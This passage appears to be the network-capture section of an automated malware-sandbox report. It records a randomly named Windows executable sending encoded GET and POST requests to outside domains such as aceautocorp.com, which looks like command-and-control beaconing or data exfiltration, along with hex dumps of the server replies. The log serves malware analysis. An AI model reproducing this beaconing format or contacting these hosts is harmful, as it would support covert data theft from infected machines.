41 44 6d 49 2f 70 61 73 72 70 43 64 76 6d 64 72 6a 59 4e 72 46 46 38 30 50 76 43 65 6c 6d 6d 49 78 52 79 4f 49 66 6a 77 50 71 76 42 4d 74 59 56 5a 6d 4c 47 45 6e 59 78 43 55 4d 76 44 54 4e 42 45 6f 38 78 77 5a 38 46 66 74 59 48 67 64 79 46 66 63 38 47 46 66 47 42 37 78 43 51 6d 6d 79 38 33 71 61 73 51 79 4f 52 45 31 4d 7a 31 74 35 33 2b 61 79 58 63 46 75 64 4f 78 31 32 76 33 63 47 6c 6e 32 45 64 37 4f 42 33 5a 45 4e 55 6d 6c 56 4f 56 63 79 6e 2f 59 4b 4d 57 32 73 35 69 72 53 72 6d 48 4a 56 56 6e 44 49 70 59 75 49 77 72 75 55 46 41 78 4d 53 6c 44 43 73 6d 6b 76 69 43 62 78 46 35 2b 66 48 36 71 66 71 43 33 70 50 42 2b 61 61 72 6b 56 69 74 74 72 2f 6a 64 32 58 66 43 68 45 6f 6a 38 53 70 42 65 42 67 4a 45 4e 4c 2b 2b 57 71 71 4e 58 2b 73 35 6f 66 66 71 61 41 68 52 44 6b 74 43 43 41 68 5a 4f 54 51 75 38 69 4f 71 2b 54 42 35 43 35 6f [TRUNCATED] Data Ascii: bFGXGTdX=QA8LpfJwy5yz/zS9lvHTlXod8O0ckjPsVgRZ6pia0oOorv8fwADmI/pasrpCdvmdrjYNrFF80PvCelmmIxRyOIfjwPqvBMtYVZmLGEnYxCUMvDTNBEo8xwZ8FftYHgdyFfc8GFfGB7xCQmmy83qasQyORE1Mz1t53+ayXcFudOx12v3cGln2Ed7OB3ZENUmlVOVcyn/YKMW2s5irSrmHJVVnDIpYuIwruUFAxMSlDCsmkviCbxF5+fH6qfqC3pPB+aarkVittr/jd2XfChEoj8SpBeBgJENL++WqqNX+s5offqaAhRDktCCAhZOTQu8iOq+TB5C5oeiFnq/xe1JiGjdcj606d/7SJj0xHvRZjWM44Dvrc8lDreeehTBfu2RuMXohPQLDBkSgenh1L3pIScWVAscUbPgXsmQ7xJJv06jgItekJ4y+p3zeW9oCC9jz8dQ/W3YCHX4OvNOrugimpqFrtdrZgeafd1TDYdgO2AzF6KNa5e67vZcujzzMax9mqbHlCWWzFmRTBEoDMHz2MaPPnBWl1xwLwTHgr4dOlVB6gxtPR4b50YmQWaIRt3Srq9prmlUgQYGnk1hodmu5YrI5rdO7V0gs8JEGyeZCWgtXyg+656qoklOOe0RSOenU4lNbC/nn1FrBSRutuexjSkPuZcc66NotrXi4mwDd3/qcR0vsEL1rWDh7LDYYccjgUoZqxxXhcaqvfF8GDDdkdlBlFKJAju+1xcBhiaZEuH4ecMeYBEnbHCIN4RLxsdjuqBR2tWVV3Oa2M/PAv1NIuEEougilp8247i2Tggs+vp/PVXOPjhp+nSjnpNOjxnUurFUw8Kz+1nzTYkrZCcc7QoShkHo1PldPt4W0g3iLuPcSnWeLw65hg3o7FbKRthplEROMgeu55mjJVwzdqofnWkNUJGtMzMJxTSDgdiUIrlDqbcG3pWTM12u6z/O3hDkgG8/uw+zn3QEFd7U6zBe1rYDzk1cObYwUMqm0LnPnnJp [TRUNCATED]
Sep 11, 2024 22:04:56.682657003 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49736	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:04:58.560761929 CEST	467	OUT	GET /zwgt/?bFGXGTdX=dCUrqoNNqYa01jj8ucmLyHx7kNIUn0PrfHpa8tjXz+CKp9k6oQP/Fdto1b0bQ/emz29BsG965J3wVz+jeRQuKqDu3O+8XeswSZaKGjOqnVkBxijyaA==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.bitmapsportsbook.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:04:59.223208904 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49737	198.12.241.35	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:04.720838070 CEST	731	OUT	POST /9og3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.aceautocorp.com/9og3/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 55 44 4d 4d 6e 34 56 34 4d 6e 41 6d 73 74 79 34 7a 39 73 58 77 35 75 4b 67 6c 33 63 72 2b 73 54 64 44 75 79 4e 77 42 36 38 43 75 39 32 71 54 78 72 44 4e 6d 38 6d 4f 38 71 61 4b 74 4c 78 70 75 50 5a 56 51 38 7a 2f 62 4c 38 38 45 2f 73 6c 30 36 2f 58 39 73 32 68 51 4a 77 31 72 68 71 44 71 4f 79 44 42 78 76 42 79 32 70 31 79 59 4c 39 57 73 50 48 4a 61 6d 62 71 45 62 6c 55 74 45 66 33 52 78 7a 38 4e 77 68 4c 6d 45 2b 34 39 65 74 74 68 4d 41 35 42 4f 71 48 74 6c 70 77 2b 61 33 71 77 33 4d 31 53 73 47 32 7a 77 74 75 76 4e 49 55 5a 6b 35 69 4f 44 43 41 37 78 61 64 Data Ascii: bFGXGTdX=UDMMn4V4MnAmsty4z9sXw5uKgl3cr+sTdDuyNwB68Cu92qTxrDNm8mO8qaKtLxpuPZVQ8z/bL88E/sl06/X9s2hQJw1rhqDqOyDBxvBy2p1yYL9WsPHJambqEblUtEf3Rxz8NwhLmE+49etthMA5BOqHtlpw+a3qw3M1SsG2zwtuvNIUZk5iODCA7xad
Sep 11, 2024 22:05:05.473997116 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:05:05 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 10066 Content-Type: text/html; charset=UTF-8 Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 [TRUNCATED] Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=[WY`$qk=&.QPmt ""j5\G-1Ya2T3N,#J},XOPifm\&0<(G ^bB@wCl)u5?qA^1DXe<g/o";Go u]`U_a~uQaX!hr)dj\Z<Ea#DA8Af)p<[?(sPHGtiyNiL5e4zZguuAk@wuw}Fwz9Fa34{ay$#LIOiE'eT\-WXC-0D_p^^j<LPzS6>g+.e(?Si3<xcNQW6E{=Bgc=yE'j\|06r8IGsr'z+.>aVdG5Tt\|qy?I/t%C^9HOs>15Gz45BJO6cuS{:HeZ-_/t\|
Sep 11, 2024 22:05:05.474024057 CEST	1236	IN	Data Raw: ae 8b df be 8d d9 da 26 cd fe fe aa e2 ab 26 15 94 9f b2 2c 36 f5 98 04 dd 03 e7 ba 65 b1 e5 a4 4b 85 6b 57 d6 05 a8 4a 06 51 38 d0 a6 c7 76 53 3b d9 88 34 05 ce 68 cb b7 c1 ee 57 6f 87 d1 8c a5 c0 53 fe 35 1d 64 8c 51 5b 07 f3 fd 40 cb 6a b5 c1 Data Ascii: &&,6eKkWJQ8vS;4hWoS5dQ[@jU]t/c*~hnnC5J"$4~y_\|6VO%U-CIa7^,igg2/jxs+l[7(m<\|
Sep 11, 2024 22:05:05.474036932 CEST	1236	IN	Data Raw: dc 60 08 4e d2 83 f6 74 23 4a 36 24 d3 e4 60 fe 4f 08 88 89 91 16 4d ba 79 e1 64 73 0d 59 b3 b9 8d 4c db a3 25 30 d3 54 c8 0d f3 a1 7d c5 ac de a9 fc 3a 8b d6 f7 80 1c 31 d8 57 0a d6 dc 0a ef ee bd 81 43 8d bf 73 94 56 9e d9 93 79 45 32 a0 47 04 Data Ascii: `Nt#J6$`OMydsYL%0T}:1WCsVyE2GC6y0-5cA_H#r0>,TDzSPX1)a?Us(hWiQvrub;K3^LC t&rQ)PX$
Sep 11, 2024 22:05:05.474049091 CEST	1236	IN	Data Raw: 68 d9 a2 ca ff ad cb 21 73 32 20 4d 6b 47 06 a3 00 1f 45 36 5f 55 4b cc 30 ca 78 49 b4 f1 c4 36 c8 0c 2e 06 4a 8c dc 42 36 9a 18 c7 2e 9f d1 4b 5b 96 16 ca 82 e7 e9 a9 23 93 0d a7 00 9c 45 2c 10 a6 dc 18 10 08 b1 57 d4 f9 da 50 3c d6 50 49 4d 22 Data Ascii: h!s2 MkGE6_UK0xI6.JB6.K[#E,WP<PIM"xSMxKSzT^;n`{g_.k,M ocu0uEI})>\jL_.QeDvyBbd[ge pQ<F2G-
Sep 11, 2024 22:05:05.474061966 CEST	1236	IN	Data Raw: 91 0a 2c 00 f7 47 90 e5 ad cc 28 ce f0 4b 56 b5 f0 33 d0 74 42 09 b5 6f 7f 3c e8 c1 1c 23 1e 54 bb 03 f2 b1 a2 b4 30 1a a7 2e 92 82 6d f0 fa 26 36 5b 11 f4 94 d1 9a 1b bb 84 eb 6c db 36 db c4 04 a6 12 8a bd b8 5a 8c 8a 1f dd d8 25 5c e7 aa e5 5d Data Ascii: ,G(KV3tBo<#T0.m&6[l6Z%\]CPA"gRuM2'HUD<3K#TyS}2Fn"j\|7B<Q-ooNN7[*NUY:KqV)q0G!O,FeVis1<#Q
Sep 11, 2024 22:05:05.474073887 CEST	1120	IN	Data Raw: 94 d3 f6 27 81 fc c9 97 9d 4b e1 a4 54 78 53 f1 5b a0 e2 1e 90 ff 17 21 c3 58 08 90 42 55 8a 06 e7 8a d8 d4 cb 20 e4 0a a5 cc 86 0f 42 c6 9c 83 eb 28 b6 18 d7 b2 7a 70 49 04 94 7d 12 48 50 27 02 60 1f 27 56 a8 c3 1d 11 b5 06 57 71 ae ed 71 a2 cc Data Ascii: 'KTxS[!XBU B(zpI}HP'`'VWqqEAFYR]351J#<Wa~F1v8hQoN`,qEtYTP<SPNTnah/+soN"^&}5DVkEv
Sep 11, 2024 22:05:05.474216938 CEST	1236	IN	Data Raw: 0b dd 4f 6e c8 6d 75 96 17 42 63 fb ca 09 f9 3c 7c e4 83 9c 56 0f b9 20 27 e7 21 0f e4 e4 ba 4d 5a 0c ce ba 59 33 a1 d1 c4 0e 5d 02 b1 d2 55 a1 bc f0 bd db 7c 9b c1 73 7e d1 f2 26 62 8d 5b 30 53 e8 1c 23 19 8c 9a 67 6c 6d 96 d2 eb 26 8a 36 12 d6 Data Ascii: OnmuBc<\|V '!MZY3]U\|s~&b[0S#glm&6zi@c]aomvjGEt~-nOl3Niyp,A4hS=h1p6zAs$l4X, ZA8dp2eY>(8;sb~J$^E
Sep 11, 2024 22:05:05.474237919 CEST	224	IN	Data Raw: b4 25 e3 17 04 5a 04 57 9c 70 15 b0 95 9c 53 42 e3 dc 0b c3 c9 e4 85 e7 64 8d f0 94 1c c2 40 2a 13 a5 27 84 1a e5 68 8b c1 2d 91 c6 66 13 77 96 63 b0 39 8a e9 bb e3 85 20 e8 50 da ed 18 a8 22 04 2c e7 96 83 df 13 d3 75 3b 4c 85 c3 db b8 06 bb 4d Data Ascii: %ZWpSBd@'h-fwc9 P",u;LMF#5?\mmd<B\vTxA=(BQ<rEDSFGXN6=%s]V@<n<>t?5]s
Sep 11, 2024 22:05:05.474250078 CEST	1236	IN	Data Raw: 34 8d d6 eb d6 15 d1 55 e3 b5 df 32 f2 d7 0c c4 cd 6d af 66 3a 9e fd e2 fa c1 e3 73 d7 ca e1 ce a6 eb c4 0a 41 a7 dc 94 f4 e1 ca 4c 06 05 eb 4f f2 b3 d2 1c 7a 9a 8e d9 63 3d 38 e2 90 47 8d 8f e8 af e4 c5 33 67 ee 25 66 2c b4 81 42 26 fa e0 0e f0 Data Ascii: 4U2mf:sALOzc=8G3g%f,B&<V:heV[o%Vd1'6OL7tU{!`CupU=Fi}or `~W`L?zY\|"9kpb%'}00Mf
Sep 11, 2024 22:05:05.474271059 CEST	488	IN	Data Raw: e7 a9 6c db 10 56 14 ab af ee 94 ee 8a 43 4d 92 38 3b e8 71 30 c1 f6 10 52 bd 2e 79 57 9b a3 a7 67 0c 13 9c cf 90 fe a2 69 39 b5 12 8c fd 2b bb 2a 34 b9 82 b9 1e 5b d7 30 88 6e a7 83 ce 01 57 0c d4 83 b5 1e 09 b2 0c 25 f3 13 75 25 74 cf 05 7a 68 Data Ascii: lVCM8;q0R.yWgi9+4[0nW%u%tzht'-t<Mbk5x@g<$"VdSZjS"a$ak3?>4t!C+Se:AhPV't9KlU:w].p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49738	198.12.241.35	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:07.264355898 CEST	755	OUT	POST /9og3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.aceautocorp.com/9og3/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 55 44 4d 4d 6e 34 56 34 4d 6e 41 6d 71 4e 69 34 78 65 30 58 6e 4a 75 4e 73 46 33 63 77 4f 73 58 64 44 69 79 4e 78 46 71 37 77 36 39 32 4c 6a 78 71 43 4e 6d 37 6d 4f 38 2f 71 4c 6c 46 52 70 6e 50 59 70 69 38 32 66 62 4c 34 55 45 2f 6f 74 30 35 49 44 38 74 6d 68 53 51 41 31 74 69 61 44 71 4f 79 44 42 78 76 45 6e 32 70 74 79 59 37 4e 57 72 62 72 49 53 47 62 6c 46 62 6c 55 36 30 66 7a 52 78 7a 56 4e 79 56 68 6d 43 36 34 39 62 52 74 77 34 30 32 62 65 71 64 67 46 70 75 31 59 69 41 32 6c 73 42 62 76 44 37 7a 6d 78 58 6f 73 70 54 49 31 59 31 64 30 65 4f 31 33 76 33 33 68 31 70 4a 6b 38 6d 57 79 50 74 57 77 57 36 37 6f 31 35 31 51 3d 3d Data Ascii: bFGXGTdX=UDMMn4V4MnAmqNi4xe0XnJuNsF3cwOsXdDiyNxFq7w692LjxqCNm7mO8/qLlFRpnPYpi82fbL4UE/ot05ID8tmhSQA1tiaDqOyDBxvEn2ptyY7NWrbrISGblFblU60fzRxzVNyVhmC649bRtw402beqdgFpu1YiA2lsBbvD7zmxXospTI1Y1d0eO13v33h1pJk8mWyPtWwW67o151Q==
Sep 11, 2024 22:05:08.548958063 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:05:07 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 10066 Content-Type: text/html; charset=UTF-8 Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 [TRUNCATED] Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=[WY`$qk=&.QPmt ""j5\G-1Ya2T3N,#J},XOPifm\&0<(G ^bB@wCl)u5?qA^1DXe<g/o";Go u]`U_a~uQaX!hr)dj\Z<Ea#DA8Af)p<[?(sPHGtiyNiL5e4zZguuAk@wuw}Fwz9Fa34{ay$#LIOiE'eT\-WXC-0D_p^^j<LPzS6>g+.e(?Si3<xcNQW6E{=Bgc=yE'j\|06r8IGsr'z+.>aVdG5Tt\|qy?I/t%C^9HOs>15Gz45BJO6cuS{:HeZ-_/t\|
Sep 11, 2024 22:05:08.548971891 CEST	1236	IN	Data Raw: ae 8b df be 8d d9 da 26 cd fe fe aa e2 ab 26 15 94 9f b2 2c 36 f5 98 04 dd 03 e7 ba 65 b1 e5 a4 4b 85 6b 57 d6 05 a8 4a 06 51 38 d0 a6 c7 76 53 3b d9 88 34 05 ce 68 cb b7 c1 ee 57 6f 87 d1 8c a5 c0 53 fe 35 1d 64 8c 51 5b 07 f3 fd 40 cb 6a b5 c1 Data Ascii: &&,6eKkWJQ8vS;4hWoS5dQ[@jU]t/c*~hnnC5J"$4~y_\|6VO%U-CIa7^,igg2/jxs+l[7(m<\|
Sep 11, 2024 22:05:08.548978090 CEST	448	IN	Data Raw: dc 60 08 4e d2 83 f6 74 23 4a 36 24 d3 e4 60 fe 4f 08 88 89 91 16 4d ba 79 e1 64 73 0d 59 b3 b9 8d 4c db a3 25 30 d3 54 c8 0d f3 a1 7d c5 ac de a9 fc 3a 8b d6 f7 80 1c 31 d8 57 0a d6 dc 0a ef ee bd 81 43 8d bf 73 94 56 9e d9 93 79 45 32 a0 47 04 Data Ascii: `Nt#J6$`OMydsYL%0T}:1WCsVyE2GC6y0-5cA_H#r0>,TDzSPX1)a?Us(hWiQvrub;K3^LC t&rQ)PX$
Sep 11, 2024 22:05:08.548983097 CEST	1236	IN	Data Raw: 6b ce 25 cf 69 8b 59 55 40 16 19 e7 51 1f 91 8c 80 ce 59 e4 ab d6 e3 7a a9 e5 71 70 ca 1f d9 8c 27 d4 89 e9 58 57 55 02 88 78 22 f7 52 dc de ea e1 2b 89 ea c3 9d 7b 39 84 5a 78 fc a7 dc 50 5f e8 a8 6a eb 03 c7 2d 78 9e 42 9b 6e 64 df 84 9f 0d 20 Data Ascii: k%iYU@QYzqp'XWUx"R+{9ZxP_j-xBnd ;e_ySF1OF~.d10VO6@%-@Sc5<kYWdNGXvbY%&6BKQ'}/>!R'.A
Sep 11, 2024 22:05:08.548990011 CEST	1236	IN	Data Raw: d5 d2 c9 f1 fc cb 6b a5 14 16 48 c4 30 6b 16 f1 ef ce 94 90 6f ff 30 4d 70 1b f6 5d fa a4 5b 32 51 69 eb b2 d7 ab 1c 88 37 ee e8 02 d3 a2 00 57 a3 d5 fc 57 e4 ea 94 47 65 7e 1c 91 16 f2 cf 2d e4 51 d2 aa 1d be 66 ac 65 79 8c af 59 5a 44 2a 42 21 Data Ascii: kH0ko0Mp][2Qi7WWGe~-QfeyYZDB!=+?7%D17Zny{+:)_f+[m9}T'M3f&5uCFan)rX&"VOmB^/Xyw"(i?
Sep 11, 2024 22:05:08.548995018 CEST	448	IN	Data Raw: 70 2a fc e9 59 6d 8f ee ab 31 7f 40 84 39 17 59 51 ec 18 d6 f0 42 e8 3e 9d 26 38 cf b7 58 af 06 8f 58 58 1f 94 67 1f c7 fa 6b 10 e5 7b 89 53 67 58 f0 06 dc fc a2 a5 19 e6 f9 c6 29 bf 4a 65 d3 ea 06 56 e1 1c 07 af 67 e2 d4 39 e6 62 53 68 f0 c8 c1 Data Ascii: p*Ym1@9YQB>&8XXXgk{SgX)JeVg9bShWWM#EM3yEjdx3 !~EE=A?wx0\|Rp%8tz>zM]ZWQqqC9<,A$+a9HcXx
Sep 11, 2024 22:05:08.549005032 CEST	1236	IN	Data Raw: 67 cb 9e 74 8f 00 15 21 16 dc 9f de 69 fc 47 25 2d 0c 9f ac 80 6e f4 40 4f 60 0c 61 a8 b5 91 de 80 ca 6d c0 a4 88 43 e4 51 5a 2c 86 ea 49 46 31 3c d8 c1 d2 5f ee d7 5d ae 87 d7 c3 d6 f4 66 11 b2 09 11 c9 1a df 07 0e 7a 08 b9 df 39 51 a7 33 c2 7f Data Ascii: gt!iG%-n@O`amCQZ,IF1<_]fz9Q3u$Y^m4<0gCe"[BOM`!BrK%tS1qub@f(Y.ar{iGv(iIl#`f#S\|cp*Csh2\|9LHbP+dT<\T
Sep 11, 2024 22:05:08.549010992 CEST	224	IN	Data Raw: e0 88 d4 3b 71 b6 a7 50 bc dd c3 08 cd 35 75 3d 8c dd 00 e3 af c1 e4 90 12 e2 69 ac dc 11 ae ff 23 08 a7 cb 8d 50 18 fe 97 9b f3 e4 8a b9 51 08 c0 2b 73 a3 12 98 83 e6 46 31 3f be ba 5e 88 87 e1 b6 f9 d1 0d cd 83 73 2e ce 60 9c 39 df ea 19 8c 5f Data Ascii: ;qP5u=i#PQ+sF1?^s.`9_0\<gr=7?Wt~ATdWW~O".%wb$&HN\|!rCr&HN/Oq7rn\|H\GGB~
Sep 11, 2024 22:05:08.549015999 CEST	1236	IN	Data Raw: 0b dd 4f 6e c8 6d 75 96 17 42 63 fb ca 09 f9 3c 7c e4 83 9c 56 0f b9 20 27 e7 21 0f e4 e4 ba 4d 5a 0c ce ba 59 33 a1 d1 c4 0e 5d 02 b1 d2 55 a1 bc f0 bd db 7c 9b c1 73 7e d1 f2 26 62 8d 5b 30 53 e8 1c 23 19 8c 9a 67 6c 6d 96 d2 eb 26 8a 36 12 d6 Data Ascii: OnmuBc<\|V '!MZY3]U\|s~&b[0S#glm&6zi@c]aomvjGEt~-nOl3Niyp,A4hS=h1p6zAs$l4X, ZA8dp2eY>(8;sb~J$^E
Sep 11, 2024 22:05:08.549027920 CEST	224	IN	Data Raw: b4 25 e3 17 04 5a 04 57 9c 70 15 b0 95 9c 53 42 e3 dc 0b c3 c9 e4 85 e7 64 8d f0 94 1c c2 40 2a 13 a5 27 84 1a e5 68 8b c1 2d 91 c6 66 13 77 96 63 b0 39 8a e9 bb e3 85 20 e8 50 da ed 18 a8 22 04 2c e7 96 83 df 13 d3 75 3b 4c 85 c3 db b8 06 bb 4d Data Ascii: %ZWpSBd@'h-fwc9 P",u;LMF#5?\mmd<B\vTxA=(BQ<rEDSFGXN6=%s]V@<n<>t?5]s
Sep 11, 2024 22:05:08.549135923 CEST	1236	IN	Data Raw: 34 8d d6 eb d6 15 d1 55 e3 b5 df 32 f2 d7 0c c4 cd 6d af 66 3a 9e fd e2 fa c1 e3 73 d7 ca e1 ce a6 eb c4 0a 41 a7 dc 94 f4 e1 ca 4c 06 05 eb 4f f2 b3 d2 1c 7a 9a 8e d9 63 3d 38 e2 90 47 8d 8f e8 af e4 c5 33 67 ee 25 66 2c b4 81 42 26 fa e0 0e f0 Data Ascii: 4U2mf:sALOzc=8G3g%f,B&<V:heV[o%Vd1'6OL7tU{!`CupU=Fi}or `~W`L?zY\|"9kpb%'}00Mf
Sep 11, 2024 22:05:08.549160004 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:05:07 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 10066 Content-Type: text/html; charset=UTF-8 Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 